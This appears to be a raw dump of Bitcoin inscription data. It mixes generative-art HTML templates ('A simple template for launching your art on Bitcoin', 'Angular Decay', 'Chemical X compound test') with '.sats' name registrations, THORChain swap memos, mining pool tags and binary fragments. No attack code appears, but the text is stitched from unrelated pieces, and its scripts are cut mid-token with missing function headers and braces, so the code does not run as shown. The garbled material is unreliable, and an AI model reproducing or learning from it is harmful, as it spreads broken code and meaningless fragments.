    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></M
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></M
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.1M
2.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
      let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 5M
97399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l M
= ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            width: 100% !important;
            height: 100% !important;
            object-fit: contain;
            position: fixed;
            left: 0;
        html, body {
    background-color: black;
    position: absolute;
  <canvas id="canvas"></canvas>
<script type="text/javascript">
    const rand = maM
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    window.$generativeTraits = {
        "T1": T1(rand),
 console.log(window.$generativeTraits);
 Add your code here
    window.requestAnimFrame = (function () {
  return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function (callbM
    window.setTimeout(callback, 1000 / 60);
  this.animation = undefined;
  this.canvas = undefined;
  this.context = undefined;
  this.paused = false;
  this.stats = undefined;
  this.istats = undefined;
  constructor: Scene,
  setup: function (canvas, animation, width, height, stats) {
    this.canvas = canvas;
    this.animation = animation;
    this.height = this.canvas.height = height;
.width = this.canvas.width = width;
    this.context = this.canvas.getContext('2d');
    this.stats = stats && window.Stats;
    if (this.stats) {
      this.istats = new Stats();
      this.istats.setMode(0);
      this.istats.domElement.style.position = 'absolute';
      this.istats.domElement.style.left = '0px';
      this.istats.domElement.style.top = '0px';
      this.istats.domElement.style.zIndex = '99999';
      document.body.appendChild(this.istats.domElement);
  animate: function (M
    if (!this.paused) {
      requestAnimFrame(this.animate.bind(this));
    this.stats && (this.istats.begin());
    this.animation(this);
    this.stats && (this.istats.end());
var scene = new Scene(),
  height = document.body.offsetHeight,
  width = document.body.offsetWidth;
function Particle() {
Particle.prototype = {
  constructor: Particle,
nction (width, height) {
    if (this.y > height) {
      this.y = 1 - this.size;
    this.y += this.vy;
for (var i = 0; i < len; i++) {
  var particle = new Particle();
  particle.x = Math.random() * width;
  particle.y = Math.random() * height;
  particle.depth = Math.random() * 10 | 0;
  particle.size = (particle.depth + 1) / 8;
  particle.vy = (particle.depth * .25) + 1 / Math.random();
  particles.push(particle);
function falling_particles() {
  var idata = this.context.createM
ImageData(this.width, this.height);
  for (var i = 0, l = particles.length; i < l; i++) {
    // thanks Loktar ;)
    var particle = particles[i];
    for (var w = 0; w < particle.size; w++) {
      for (var h = 0; h < particle.size; h++) {
        var pData = (~~(particle.x + w) + (~~(particle.y + h) * this.width)) * 4;
        idata.data[pData] = 255;
        idata.data[pData + 1] = 255;
        idata.data[pData + 2] = 255;
        idata.data[pData + 3] = 255;
    particle.update(this.wM
  this.context.putImageData(idata, 0, 0);
scene.setup(document.getElementById('canvas'), falling_particles, width, height, !0);
window.onresize = function () {
  height = scene.height = scene.canvas.height = document.body.offsetHeight;
  width = scene.width = scene.canvas.width = document.body.offsetWidth;
 Add your code here
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"mono.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"inb4.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"
CjA=:ETH.ETH:0xeD29317F19F41d7565e1412e6EFd7828b63330c1:257562802::0
d/Foundry USA Pool #dropgold/
FjDOUT:4D893AACC36AB104EFF2BF91FDCD8B13B833C65D983EE05F0A7FA5D50768DB6C
JjH=:THOR.RUNE:thor1xvtpwvw0f523gr7lg8qe7wwp5d00y44k8zw3te:41913772932:t:30q
Aj?=:ETH.ETH:0xC90495d23653F93e65936607Ad6D2c9A35A7D431:8942809::0
text/plain;charset=utf-8
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
  "name": "tumbler.sats"
IjGREFUND:987FD1BAA4A052F93158B6F4D1577910830D5B62A1BC3B412081BD88B2FC3273
text/plain;charset=utf-8
  "name": "100%.sats"
Created with GIMPd.e
text/plain;charset=utf-8
  "name": "$50.sats"
text/plain;charset=utf-8
  "name": "#BTC.sats"
text/plain;charset=utf-8
  "name": "#Bitcoin.sats"
text/plain;charset=utf-8
x264 - core 155 - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=8 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 bM
_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00
text/plain;charset=utf-8
  "name": "$75.sats"
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"mighty.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"mightycrew.sats"}h!
text/plain;charset=utf-8
  "name": "MSServicesGlobal.sats"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Mighty.sats"}h!
text/plain;charset=utf-8
  "name": "AmEx.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Jesus.sats"}h!
  "name": "grug.og",
  "owner": "bc1pn4prtuy0dyd0m792ug2dhac3rxazdyue2u05llcj38y4ge36yvxqsqph0d",
  "text":"founder of OrdinallDAO and 15IQ"
d/Foundry USA Pool #dropgold/
FjDOUT:CFA958F05F396EB88549E3DEDE42B9A09994A7C7572A0DC573DE388B57327E20
FjDOUT:E7F5A431345F14B84011AB819EC291E4CA9BF91CC7DB6AAE25070D9C3BFF0894
text/plain;charset=utf-8
  "name": "99889.sats"
Created with GIMPd.e
text/plain;charset=utf-8
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
  "name": "Heineken.sats"
text/plain;charset=utf-8
  "name": "ETF.sats"
Aj?=:ETH.ETH:0xaE3DC1219AeE4920ec7064bDAdF9D2d502137470:3673856::0
Bj@=:BNB.BNB:bnb1ej0grj75e06jx0652mudnz6u2zu4ej9xltuppj:92948199::0
text/plain;charset=utf-8
  "name": "$25.sats"
/ViaBTC/Mined by alterm/,
GjE=:ETH.ETH:0x932C5aE3Adae304013C9292E71aFcdE69E3aeD13:291896086:xdf:50
FjDOUT:DB5FAC3B2EDC1060F244F1A022706830C96B9C4D2BD0A50D02346B8C719031A5
4j2DC-L5:Q1OJ3zIxHsZqgS+mAD2bg8ZMszNmSQvij7qwFhgaLlY=
;j9=:RUNE:thor1w4u7yst8wg90dp6xpnv59e6e6w5u5s9j64na3r::wr:30~~r
Bj@ffebea32a3e39b9761ac17ab988298278ea831e1766345edf3777aa06048f569
text/html;charset=utf-8
	<title>Chemical X compound test</title>
	<canvas id="myCanvas"></canvas>
		var canvas = document.getElementById("myCanvas");
		var context = canvas.getContext("2d");
		var colors = ['#ff00ff', '#ffde00', '#54e507', '#903ef9', '#ffedd7', '#fc8300', '#0bc4ff', '#ff0000'];
		var startBlockHeight = 778988;
		// Fetch the current block height from Blockchain.com API
		fetch('https://blockchM
ain.info/q/getblockcount')
			.then(response => response.text())
				var currentBlockHeight = parseInt(data);
				var blockDiff = currentBlockHeight - startBlockHeight;
				var colorIndex = blockDiff % colors.length;
				var color = colors[colorIndex];
				context.fillStyle = color;
				context.fillRect(0, 0, canvas.width, canvas.height);
			.catch(error => console.error(error));
Bj@=:BNB.BNB:bnb1uq6g43l4lclyzsrgtry6vdk04juyf4d75ktqpq:75806194::0
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
  "name": "twint.sats"
Aj?=:ETH.ETH:0x1043c028431eee6F1788e36Dfe1bBddA55c0ceF3:1510496::0
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
<!--    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>-->
    <!-- threejs@r124
    <script sandbox="allow-scripts" typM
e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/jaM
vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
